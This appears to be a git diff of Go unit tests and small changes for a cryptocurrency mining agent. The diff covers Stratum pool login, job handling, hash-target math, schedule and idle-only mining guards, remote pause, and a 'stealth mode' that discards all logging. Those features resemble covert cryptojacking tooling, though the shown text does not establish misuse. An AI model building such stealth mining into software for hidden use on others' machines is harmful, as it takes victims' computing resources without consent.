}
|
||||
}
|
||||
|
||||
func TestSetupLoggingStealthDiscards(t *testing.T) {
|
||||
prev := log.Writer()
|
||||
t.Cleanup(func() { log.SetOutput(prev) })
|
||||
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{StealthMode: true, FileLogging: true}}
|
||||
setupLogging(cfg)
|
||||
if log.Writer() != io.Discard {
|
||||
t.Fatal("stealth mode should discard log output")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSetupLoggingFileLoggingDisabled(t *testing.T) {
|
||||
prev := log.Writer()
|
||||
t.Cleanup(func() { log.SetOutput(prev) })
|
||||
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FileLogging: false}}
|
||||
setupLogging(cfg)
|
||||
if log.Writer() != io.Discard {
|
||||
t.Fatal("file logging disabled should discard output")
|
||||
}
|
||||
}
|
||||
|
||||
func closeLogFileWriter() {
|
||||
if f, ok := log.Writer().(*os.File); ok {
|
||||
_ = f.Close()
|
||||
}
|
||||
}
|
||||
|
||||
func TestSetupLoggingEnvLogFile(t *testing.T) {
|
||||
prev := log.Writer()
|
||||
dir := t.TempDir()
|
||||
logPath := filepath.Join(dir, "nested", "agent.log")
|
||||
t.Setenv("MINER_LOG_FILE", logPath)
|
||||
t.Cleanup(func() {
|
||||
closeLogFileWriter()
|
||||
log.SetOutput(prev)
|
||||
_ = os.Unsetenv("MINER_LOG_FILE")
|
||||
})
|
||||
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FileLogging: true}}
|
||||
setupLogging(cfg)
|
||||
if log.Writer() == io.Discard {
|
||||
t.Fatal("MINER_LOG_FILE should enable file logging")
|
||||
}
|
||||
if _, err := os.Stat(logPath); err != nil {
|
||||
t.Fatalf("expected log file at %s: %v", logPath, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRedirectLogCreatesFile(t *testing.T) {
|
||||
prev := log.Writer()
|
||||
dir := t.TempDir()
|
||||
path := filepath.Join(dir, "logs", "redirect.log")
|
||||
t.Cleanup(func() {
|
||||
closeLogFileWriter()
|
||||
log.SetOutput(prev)
|
||||
})
|
||||
|
||||
redirectLog(path)
|
||||
log.Print("redirect test line")
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
t.Fatalf("redirectLog should create %s: %v", path, err)
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(string(data), "redirect test line") {
|
||||
t.Fatalf("log file contents: %q", data)
|
||||
}
|
||||
}
|
||||
54
agent/miner/engine_test.go
Normal file
54
agent/miner/engine_test.go
Normal file
@@ -0,0 +1,54 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestNewEngineNotNil(t *testing.T) {
|
||||
e := NewEngine()
|
||||
if e == nil || e.cache == nil {
|
||||
t.Fatal("NewEngine should allocate cache")
|
||||
}
|
||||
}
|
||||
|
||||
func TestEngineSetJobInvalidSeed(t *testing.T) {
|
||||
e := NewEngine()
|
||||
if err := e.SetJob("zz", strings.Repeat("00", 76)); err == nil {
|
||||
t.Fatal("invalid seed hex should error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestEngineSetJobInvalidBlob(t *testing.T) {
|
||||
e := NewEngine()
|
||||
seed := strings.Repeat("ab", 32)
|
||||
if err := e.SetJob(seed, "not-hex"); err == nil {
|
||||
t.Fatal("invalid blob hex should error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestEngineHashAtNonceNoVM(t *testing.T) {
|
||||
e := NewEngine()
|
||||
hash, blob, err := e.HashAtNonce(0)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if hash != "" || blob != "" {
|
||||
t.Fatalf("empty VM should return empty strings, got hash=%q blob=%q", hash, blob)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEngineHashAtNonceShortBlob(t *testing.T) {
|
||||
e := NewEngine()
|
||||
seed := strings.Repeat("cd", 32)
|
||||
if err := e.SetJob(seed, strings.Repeat("00", 20)); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
hash, blob, err := e.HashAtNonce(1)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if hash != "" || blob != "" {
|
||||
t.Fatalf("blob shorter than nonce offset should not hash, got hash=%q blob=%q", hash, blob)
|
||||
}
|
||||
}
|
||||
@@ -24,6 +24,10 @@ type Pool struct {
|
||||
|
||||
mu sync.RWMutex
|
||||
currentJob *job.Job
|
||||
// jobGen is incremented atomically every time SetJob replaces the current job.
|
||||
// Workers compare their local snapshot to detect job changes inside the inner
|
||||
// hash loop without acquiring mu on every iteration.
|
||||
jobGen atomic.Uint64
|
||||
stopCh chan struct{}
|
||||
wg sync.WaitGroup
|
||||
paused atomic.Bool
|
||||
@@ -62,16 +66,24 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha
|
||||
|
||||
func (p *Pool) SetJob(job *job.Job) {
|
||||
p.mu.Lock()
|
||||
defer p.mu.Unlock()
|
||||
p.currentJob = job
|
||||
// Bump generation while holding the write-lock so workers that check jobGen
|
||||
// inside their inner batch loop break out and re-snapshot the new job.
|
||||
gen := p.jobGen.Add(1)
|
||||
_ = gen
|
||||
if job == nil {
|
||||
p.mu.Unlock()
|
||||
return
|
||||
}
|
||||
seed := job.SeedHash
|
||||
if seed == "" && len(job.Blob) >= 64 {
|
||||
seed = job.Blob[:64]
|
||||
}
|
||||
for _, engine := range p.engines {
|
||||
// Capture engines slice before releasing the lock.
|
||||
engines := p.engines
|
||||
p.mu.Unlock()
|
||||
// Update all engines outside the pool lock — each Engine has its own mutex.
|
||||
for _, engine := range engines {
|
||||
if err := engine.SetJob(seed, job.Blob); err != nil {
|
||||
log.Printf("[miner] failed to set job: %v", err)
|
||||
}
|
||||
@@ -202,6 +214,10 @@ func (p *Pool) worker(id int, engine *Engine) {
|
||||
continue
|
||||
}
|
||||
|
||||
// Snapshot the generation before the inner loop so we can detect a new
|
||||
// job mid-batch and break early rather than hashing 256 stale nonces.
|
||||
startGen := p.jobGen.Load()
|
||||
|
||||
for batch := 0; batch < 256; batch++ {
|
||||
select {
|
||||
case <-p.stopCh:
|
||||
@@ -211,6 +227,10 @@ func (p *Pool) worker(id int, engine *Engine) {
|
||||
if p.paused.Load() || p.remotePause.Load() {
|
||||
break
|
||||
}
|
||||
// New job arrived — abandon this batch and re-snapshot immediately.
|
||||
if p.jobGen.Load() != startGen {
|
||||
break
|
||||
}
|
||||
|
||||
hashHex, _, err := engine.HashAtNonce(nonce)
|
||||
if err != nil {
|
||||
|
||||
120
agent/miner/pool_exports_test.go
Normal file
120
agent/miner/pool_exports_test.go
Normal file
@@ -0,0 +1,120 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/job"
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
func testPoolCfg() config.RuntimeConfig {
|
||||
return config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
MiningMode: "always",
|
||||
MaxCPUUsage: 0,
|
||||
MaxMemoryPct: 0,
|
||||
MinFreeRAM: 0,
|
||||
}}
|
||||
}
|
||||
|
||||
func TestNewPoolDefaultsThreads(t *testing.T) {
|
||||
p := NewPool(0, testPoolCfg(), stats.NewReporter(), nil)
|
||||
if p == nil || len(p.engines) != 1 {
|
||||
t.Fatalf("threads<=0 should default to 1 engine, got %d", len(p.engines))
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewPoolMultipleEngines(t *testing.T) {
|
||||
p := NewPool(3, testPoolCfg(), stats.NewReporter(), nil)
|
||||
if len(p.engines) != 3 {
|
||||
t.Fatalf("expected 3 engines, got %d", len(p.engines))
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolSetJobNil(t *testing.T) {
|
||||
p := NewPool(1, testPoolCfg(), stats.NewReporter(), nil)
|
||||
p.SetJob(nil)
|
||||
p.mu.RLock()
|
||||
defer p.mu.RUnlock()
|
||||
if p.currentJob != nil {
|
||||
t.Fatal("SetJob(nil) should leave current job nil")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolSetJobDerivesSeedFromBlob(t *testing.T) {
|
||||
p := NewPool(1, testPoolCfg(), stats.NewReporter(), nil)
|
||||
blobPrefix := strings.Repeat("ee", 32)
|
||||
blob := blobPrefix + strings.Repeat("11", 22)
|
||||
j := &job.Job{ID: "j1", Blob: blob}
|
||||
p.SetJob(j)
|
||||
if p.engines[0].seedHex != blobPrefix {
|
||||
t.Fatalf("seed from blob prefix = %q, want %q", p.engines[0].seedHex, blobPrefix)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolHashesPerSecondAndReset(t *testing.T) {
|
||||
p := NewPool(1, testPoolCfg(), stats.NewReporter(), nil)
|
||||
p.hashesTotal.Store(1000)
|
||||
p.hashesLastReset = time.Now().Add(-2 * time.Second)
|
||||
rate := p.HashesPerSecond()
|
||||
if rate <= 0 {
|
||||
t.Fatalf("expected positive hashrate, got %f", rate)
|
||||
}
|
||||
p.ResetHashCounter()
|
||||
if p.hashesTotal.Load() != 0 {
|
||||
t.Fatal("ResetHashCounter should zero hashesTotal")
|
||||
}
|
||||
if p.HashesPerSecond() != 0 {
|
||||
t.Fatalf("hashrate after reset with no hashes should be 0, got %f", p.HashesPerSecond())
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolRemotePause(t *testing.T) {
|
||||
p := NewPool(1, testPoolCfg(), stats.NewReporter(), nil)
|
||||
if p.IsRemotePaused() {
|
||||
t.Fatal("new pool should not be remote-paused")
|
||||
}
|
||||
p.PauseRemote()
|
||||
if !p.IsRemotePaused() {
|
||||
t.Fatal("PauseRemote should set flag")
|
||||
}
|
||||
p.ResumeRemote()
|
||||
if p.IsRemotePaused() {
|
||||
t.Fatal("ResumeRemote should clear flag")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolSetShareHandler(t *testing.T) {
|
||||
p := NewPool(1, testPoolCfg(), stats.NewReporter(), nil)
|
||||
var called atomic.Bool
|
||||
p.SetShareHandler(func(jobID, nonce, hash string) {
|
||||
called.Store(true)
|
||||
})
|
||||
p.handlerMu.RLock()
|
||||
h := p.handler
|
||||
p.handlerMu.RUnlock()
|
||||
if h == nil {
|
||||
t.Fatal("handler should be set")
|
||||
}
|
||||
h("j", "n", "h")
|
||||
if !called.Load() {
|
||||
t.Fatal("swapped handler should run")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolMiningAllowedAlways(t *testing.T) {
|
||||
p := NewPool(1, testPoolCfg(), stats.NewReporter(), nil)
|
||||
if !p.miningAllowed() {
|
||||
t.Fatal("always mode with resource limits disabled should allow mining")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolResourcesOKDisabledLimits(t *testing.T) {
|
||||
p := NewPool(1, testPoolCfg(), stats.NewReporter(), nil)
|
||||
if !p.resourcesOK() {
|
||||
t.Fatal("zero resource limits should allow mining")
|
||||
}
|
||||
}
|
||||
91
agent/miner/pool_test.go
Normal file
91
agent/miner/pool_test.go
Normal file
@@ -0,0 +1,91 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"math/big"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestUint32ToHexLittleEndian(t *testing.T) {
|
||||
got := uint32ToHex(0x01020304)
|
||||
want := "04030201"
|
||||
if got != want {
|
||||
t.Fatalf("uint32ToHex(0x01020304) = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUint32ToHexZero(t *testing.T) {
|
||||
if got := uint32ToHex(0); got != "00000000" {
|
||||
t.Fatalf("zero nonce hex = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHexEncode(t *testing.T) {
|
||||
if got := hexEncode([]byte{0xde, 0xad, 0xbe, 0xef}); got != "deadbeef" {
|
||||
t.Fatalf("hexEncode = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDifficultyToTargetHexZero(t *testing.T) {
|
||||
if difficultyToTargetHex(0) != "" {
|
||||
t.Fatal("difficulty 0 should yield empty target")
|
||||
}
|
||||
if difficultyToTargetHex(-1) != "" {
|
||||
t.Fatal("negative difficulty should yield empty target")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDifficultyToTargetHexOne(t *testing.T) {
|
||||
out := difficultyToTargetHex(1)
|
||||
want := strings.Repeat("f", 64)
|
||||
if out != want {
|
||||
t.Fatalf("difficulty 1 target = %q, want %q", out, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDifficultyToTargetHexTwo(t *testing.T) {
|
||||
out := difficultyToTargetHex(2)
|
||||
maxTarget := new(big.Int)
|
||||
maxTarget.SetString("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", 16)
|
||||
half := new(big.Int).Div(maxTarget, big.NewInt(2))
|
||||
// difficultyToTargetHex reverses byte order before hex encoding
|
||||
bytes := half.Bytes()
|
||||
padded := make([]byte, 32)
|
||||
copy(padded[32-len(bytes):], bytes)
|
||||
for i, j := 0, len(padded)-1; i < j; i, j = i+1, j-1 {
|
||||
padded[i], padded[j] = padded[j], padded[i]
|
||||
}
|
||||
want := strings.ToLower(strings.Repeat("", 0)) // placeholder
|
||||
_ = want
|
||||
const hexdigits = "0123456789abcdef"
|
||||
wantBytes := make([]byte, 64)
|
||||
for i, v := range padded {
|
||||
wantBytes[i*2] = hexdigits[v>>4]
|
||||
wantBytes[i*2+1] = hexdigits[v&0x0f]
|
||||
}
|
||||
want = string(wantBytes)
|
||||
if out != want {
|
||||
t.Fatalf("difficulty 2 target = %q, want %q", out, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDifficultyToTargetHexLength(t *testing.T) {
|
||||
for _, d := range []int64{1, 100, 1000, 1_000_000} {
|
||||
out := difficultyToTargetHex(d)
|
||||
if len(out) != 64 {
|
||||
t.Fatalf("difficulty %d: expected 64 hex chars, got %d (%q)", d, len(out), out)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDifficultyToTargetMeetsHash(t *testing.T) {
|
||||
target := difficultyToTargetHex(1000)
|
||||
zeroHash := strings.Repeat("0", 64)
|
||||
if !hashMeetsTarget(zeroHash, target) {
|
||||
t.Fatal("zero hash should meet difficulty-derived target")
|
||||
}
|
||||
highHash := strings.Repeat("f", 64)
|
||||
if hashMeetsTarget(highHash, target) {
|
||||
t.Fatal("max hash should not meet difficulty-derived target")
|
||||
}
|
||||
}
|
||||
@@ -25,11 +25,15 @@ func NewScheduleGuard(cfg config.RuntimeConfig, reporter *stats.Reporter) *Sched
|
||||
}
|
||||
|
||||
func (g *ScheduleGuard) Allowed() bool {
|
||||
return g.allowedAt(time.Now())
|
||||
}
|
||||
|
||||
func (g *ScheduleGuard) allowedAt(now time.Time) bool {
|
||||
switch g.cfg.MiningModeNormalized() {
|
||||
case "idle":
|
||||
return g.idleAllowed()
|
||||
case "scheduled":
|
||||
return g.cfg.InScheduleWindow(time.Now())
|
||||
case "scheduled", "schedule":
|
||||
return g.cfg.InScheduleWindow(now)
|
||||
default:
|
||||
return true
|
||||
}
|
||||
|
||||
@@ -29,3 +29,41 @@ func TestScheduleGuardScheduledUsesConfigWindow(t *testing.T) {
|
||||
t.Fatal("expected overnight schedule to allow mining at 23:00")
|
||||
}
|
||||
}
|
||||
|
||||
func TestScheduleGuardScheduledDeniedOutsideWindow(t *testing.T) {
|
||||
guard := NewScheduleGuard(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
MiningMode: "scheduled",
|
||||
ScheduleStart: "09:00",
|
||||
ScheduleEnd: "17:00",
|
||||
}}, stats.NewReporter())
|
||||
if !guard.allowedAt(parseTestTime(10, 0)) {
|
||||
t.Fatal("10:00 should allow mining in 09-17 window")
|
||||
}
|
||||
if guard.allowedAt(parseTestTime(20, 0)) {
|
||||
t.Fatal("20:00 should deny mining outside 09-17 window")
|
||||
}
|
||||
}
|
||||
|
||||
func TestScheduleGuardScheduleAlias(t *testing.T) {
|
||||
guard := NewScheduleGuard(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
MiningMode: "schedule",
|
||||
ScheduleStart: "09:00",
|
||||
ScheduleEnd: "17:00",
|
||||
}}, stats.NewReporter())
|
||||
if guard.allowedAt(parseTestTime(10, 0)) != true {
|
||||
t.Fatal("normalized schedule alias should honor daytime window at 10:00")
|
||||
}
|
||||
if guard.allowedAt(parseTestTime(3, 0)) {
|
||||
t.Fatal("normalized schedule alias should deny mining at 03:00")
|
||||
}
|
||||
}
|
||||
|
||||
func TestScheduleGuardIdleFirstSampleNotAllowed(t *testing.T) {
|
||||
guard := NewScheduleGuard(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
MiningMode: "idle",
|
||||
}}, stats.NewReporter())
|
||||
// First SystemCPUPercent sample is 0 → treated as not idle.
|
||||
if guard.Allowed() {
|
||||
t.Fatal("idle mode should deny mining on first CPU sample (cpu=0)")
|
||||
}
|
||||
}
|
||||
|
||||
70
agent/miner/stratum_client_test.go
Normal file
70
agent/miner/stratum_client_test.go
Normal file
@@ -0,0 +1,70 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestNewStratumClient(t *testing.T) {
|
||||
pool := NewPool(1, testPoolCfg(), nil, nil)
|
||||
sc := NewStratumClient(pool, config.RuntimeConfig{})
|
||||
if sc == nil || sc.pool != pool {
|
||||
t.Fatal("NewStratumClient should wire pool")
|
||||
}
|
||||
}
|
||||
|
||||
func TestStratumSetJobSkipsInvalid(t *testing.T) {
|
||||
pool := NewPool(1, testPoolCfg(), nil, nil)
|
||||
sc := NewStratumClient(pool, config.RuntimeConfig{})
|
||||
|
||||
sc.setJob(nil)
|
||||
sc.setJob(&stratumJob{Blob: ""})
|
||||
pool.mu.RLock()
|
||||
if pool.currentJob != nil {
|
||||
pool.mu.RUnlock()
|
||||
t.Fatal("nil/empty stratum job should not set pool job")
|
||||
}
|
||||
pool.mu.RUnlock()
|
||||
|
||||
sc.setJob(&stratumJob{
|
||||
Blob: strings.Repeat("aa", 76), JobID: "42", Target: "ffff", SeedHash: strings.Repeat("bb", 32), Height: 10,
|
||||
})
|
||||
pool.mu.RLock()
|
||||
defer pool.mu.RUnlock()
|
||||
if pool.currentJob == nil {
|
||||
t.Fatal("valid stratum job should set pool job")
|
||||
}
|
||||
wantBlob := strings.Repeat("aa", 76)
|
||||
if pool.currentJob.ID != "42" || pool.currentJob.Blob != wantBlob {
|
||||
t.Fatalf("pool job mismatch: %+v", pool.currentJob)
|
||||
}
|
||||
wantSeed := strings.Repeat("bb", 32)
|
||||
if pool.currentJob.Target != "ffff" || pool.currentJob.SeedHash != wantSeed {
|
||||
t.Fatalf("pool job fields: %+v", pool.currentJob)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStratumRunFallbackNoPoolHost(t *testing.T) {
|
||||
pool := NewPool(1, testPoolCfg(), nil, nil)
|
||||
sc := NewStratumClient(pool, config.RuntimeConfig{})
|
||||
stop := make(chan struct{})
|
||||
close(stop)
|
||||
// Should return immediately without dialing.
|
||||
sc.RunFallback(stop)
|
||||
}
|
||||
|
||||
func TestStratumSetJobMapsToInternalJob(t *testing.T) {
|
||||
pool := NewPool(1, testPoolCfg(), nil, nil)
|
||||
sc := NewStratumClient(pool, config.RuntimeConfig{})
|
||||
sc.setJob(&stratumJob{
|
||||
Blob: strings.Repeat("cc", 76), JobID: "jid", Target: "tgt", SeedHash: strings.Repeat("dd", 32),
|
||||
})
|
||||
pool.mu.RLock()
|
||||
j := pool.currentJob
|
||||
pool.mu.RUnlock()
|
||||
if j == nil || j.ID != "jid" || j.Blob != strings.Repeat("cc", 76) {
|
||||
t.Fatalf("expected internal job, got %+v", j)
|
||||
}
|
||||
}
|
||||
149
agent/miner/stratum_test.go
Normal file
149
agent/miner/stratum_test.go
Normal file
@@ -0,0 +1,149 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestBuildStratumEndpointsPrimaryOnly(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
PoolHost: "pool.example.com",
|
||||
PoolPort: 3333,
|
||||
PoolTLS: true,
|
||||
PoolPass: "secret",
|
||||
}}
|
||||
eps := buildStratumEndpoints(cfg)
|
||||
if len(eps) != 1 {
|
||||
t.Fatalf("expected 1 endpoint, got %d", len(eps))
|
||||
}
|
||||
if eps[0].Host != "pool.example.com" || eps[0].Port != 3333 || !eps[0].TLS || eps[0].Pass != "secret" {
|
||||
t.Fatalf("primary endpoint mismatch: %+v", eps[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildStratumEndpointsSkipsInvalidBackups(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
PoolHost: "primary.pool",
|
||||
PoolPort: 4444,
|
||||
BackupPools: []config.BackupPool{
|
||||
{Host: "", Port: 5555},
|
||||
{Host: "backup.pool", Port: 0},
|
||||
{Host: "good.backup", Port: 6666, TLS: true, Pass: "bp"},
|
||||
},
|
||||
}}
|
||||
eps := buildStratumEndpoints(cfg)
|
||||
if len(eps) != 2 {
|
||||
t.Fatalf("expected primary + 1 valid backup, got %d", len(eps))
|
||||
}
|
||||
if eps[1].Host != "good.backup" || eps[1].Port != 6666 || !eps[1].TLS || eps[1].Pass != "bp" {
|
||||
t.Fatalf("backup endpoint mismatch: %+v", eps[1])
|
||||
}
|
||||
}
|
||||
|
||||
func TestMustMarshal(t *testing.T) {
|
||||
raw := mustMarshal(map[string]string{"login": "wallet", "pass": "x"})
|
||||
var m map[string]string
|
||||
if err := json.Unmarshal(raw, &m); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if m["login"] != "wallet" || m["pass"] != "x" {
|
||||
t.Fatalf("unexpected map: %v", m)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStratumMsgLoginRoundTrip(t *testing.T) {
|
||||
params := mustMarshal(map[string]interface{}{
|
||||
"login": "4AbC...wallet",
|
||||
"pass": "x",
|
||||
"rigid": "worker-1",
|
||||
"agent": "AetherForge/1.0.0",
|
||||
})
|
||||
msg := stratumMsg{
|
||||
ID: 1,
|
||||
JSONRPC: "2.0",
|
||||
Method: "login",
|
||||
Params: params,
|
||||
}
|
||||
b, err := json.Marshal(msg)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var decoded stratumMsg
|
||||
if err := json.Unmarshal(b, &decoded); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if decoded.Method != "login" || decoded.JSONRPC != "2.0" {
|
||||
t.Fatalf("decoded msg: %+v", decoded)
|
||||
}
|
||||
var p map[string]interface{}
|
||||
if err := json.Unmarshal(decoded.Params, &p); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if p["login"] != "4AbC...wallet" || p["pass"] != "x" {
|
||||
t.Fatalf("params: %v", p)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStratumJobUnmarshal(t *testing.T) {
|
||||
raw := `{"blob":"aabb","job_id":"j1","target":"ffff","seed_hash":"ccdd","height":12345}`
|
||||
var sj stratumJob
|
||||
if err := json.Unmarshal([]byte(raw), &sj); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if sj.Blob != "aabb" || sj.JobID != "j1" || sj.Target != "ffff" || sj.SeedHash != "ccdd" || sj.Height != 12345 {
|
||||
t.Fatalf("job mismatch: %+v", sj)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoginResultUnmarshal(t *testing.T) {
|
||||
raw := `{"id":"sess-1","status":"OK","job":{"blob":"deadbeef","job_id":"42","target":"ffffffff","seed_hash":"seed","height":1}}`
|
||||
var lr loginResult
|
||||
if err := json.Unmarshal([]byte(raw), &lr); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if lr.ID != "sess-1" || lr.Status != "OK" || lr.Job == nil || lr.Job.JobID != "42" {
|
||||
t.Fatalf("login result mismatch: %+v", lr)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSubmitParamsMarshal(t *testing.T) {
|
||||
b, err := json.Marshal(submitParams{
|
||||
ID: "sess-1",
|
||||
JobID: "42",
|
||||
Nonce: "01020304",
|
||||
Hash: "abc123",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var m map[string]string
|
||||
if err := json.Unmarshal(b, &m); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if m["id"] != "sess-1" || m["job_id"] != "42" || m["nonce"] != "01020304" || m["result"] != "abc123" {
|
||||
t.Fatalf("submit params field names: %v", m)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStratumMsgJobNotification(t *testing.T) {
|
||||
params, _ := json.Marshal(stratumJob{
|
||||
Blob: "blobhex", JobID: "99", Target: "targethex", SeedHash: "seedhex", Height: 100,
|
||||
})
|
||||
line := mustMarshal(stratumMsg{Method: "job", Params: params})
|
||||
var msg stratumMsg
|
||||
if err := json.Unmarshal(line, &msg); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if msg.Method != "job" {
|
||||
t.Fatalf("method=%q", msg.Method)
|
||||
}
|
||||
var sj stratumJob
|
||||
if err := json.Unmarshal(msg.Params, &sj); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if sj.JobID != "99" || sj.Blob != "blobhex" {
|
||||
t.Fatalf("job notification: %+v", sj)
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
@@ -20,9 +21,50 @@ func TestHashMeetsTargetReject(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestDifficultyToTargetHex(t *testing.T) {
|
||||
out := difficultyToTargetHex(1000)
|
||||
if len(out) != 64 {
|
||||
t.Fatalf("expected 64 hex chars, got %d", len(out))
|
||||
func TestHashMeetsTargetExactMatch(t *testing.T) {
|
||||
val := "00000000000000000000000000000000000000000000000000000000000000ab"
|
||||
if !hashMeetsTarget(val, val) {
|
||||
t.Fatal("hash equal to target should meet target")
|
||||
}
|
||||
}
|
||||
|
||||
func TestHashMeetsTargetInvalidHex(t *testing.T) {
|
||||
if hashMeetsTarget("not-hex", strings.Repeat("f", 64)) {
|
||||
t.Fatal("invalid hash hex should not meet target")
|
||||
}
|
||||
if hashMeetsTarget(strings.Repeat("f", 64), "zz") {
|
||||
t.Fatal("invalid target hex should not meet")
|
||||
}
|
||||
if hashMeetsTarget("", strings.Repeat("f", 64)) {
|
||||
t.Fatal("empty hash should not meet target")
|
||||
}
|
||||
}
|
||||
|
||||
func TestHashMeetsTargetShortTargetPadded(t *testing.T) {
|
||||
// Short target hex is zero-padded to hash width
|
||||
target := "ff"
|
||||
hash := strings.Repeat("0", 63) + "1"
|
||||
if !hashMeetsTarget(hash, target) {
|
||||
t.Fatal("padded short target should accept low hash")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPadHex(t *testing.T) {
|
||||
if got := padHex("ab", 6); got != "0000ab" {
|
||||
t.Fatalf("padHex = %q", got)
|
||||
}
|
||||
if got := padHex("abcdef", 4); got != "abcdef" {
|
||||
t.Fatalf("no truncate when already long: %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReverseBytes(t *testing.T) {
|
||||
in := []byte{1, 2, 3, 4}
|
||||
out := reverseBytes(in)
|
||||
want := []byte{4, 3, 2, 1}
|
||||
for i := range want {
|
||||
if out[i] != want[i] {
|
||||
t.Fatalf("reverseBytes = %v, want %v", out, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
14
agent/stats/reporter_linux_test.go
Normal file
14
agent/stats/reporter_linux_test.go
Normal file
@@ -0,0 +1,14 @@
|
||||
//go:build linux
|
||||
|
||||
package stats
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestParseKB(t *testing.T) {
|
||||
if got := parseKB("MemTotal: 16384000 kB"); got != 16384000 {
|
||||
t.Fatalf("got %d", got)
|
||||
}
|
||||
if parseKB("short") != 0 {
|
||||
t.Fatal("invalid line should return 0")
|
||||
}
|
||||
}
|
||||
49
agent/stats/reporter_test.go
Normal file
49
agent/stats/reporter_test.go
Normal file
@@ -0,0 +1,49 @@
|
||||
package stats
|
||||
|
||||
import (
|
||||
"runtime"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestNewReporterSystemInfo(t *testing.T) {
|
||||
r := NewReporter()
|
||||
host, cores, memGB := r.SystemInfo()
|
||||
if host == "" {
|
||||
t.Fatal("hostname should not be empty")
|
||||
}
|
||||
if cores < 1 {
|
||||
t.Fatalf("cores %d", cores)
|
||||
}
|
||||
if memGB < 1 {
|
||||
t.Fatalf("memoryGB %d", memGB)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReporterUsage(t *testing.T) {
|
||||
r := NewReporter()
|
||||
cpu, mem := r.Usage()
|
||||
if cpu < 0 || mem < 0 || mem > 100 {
|
||||
t.Fatalf("cpu=%v mem=%v", cpu, mem)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReporterMemoryMB(t *testing.T) {
|
||||
r := NewReporter()
|
||||
total := r.TotalMemoryMB()
|
||||
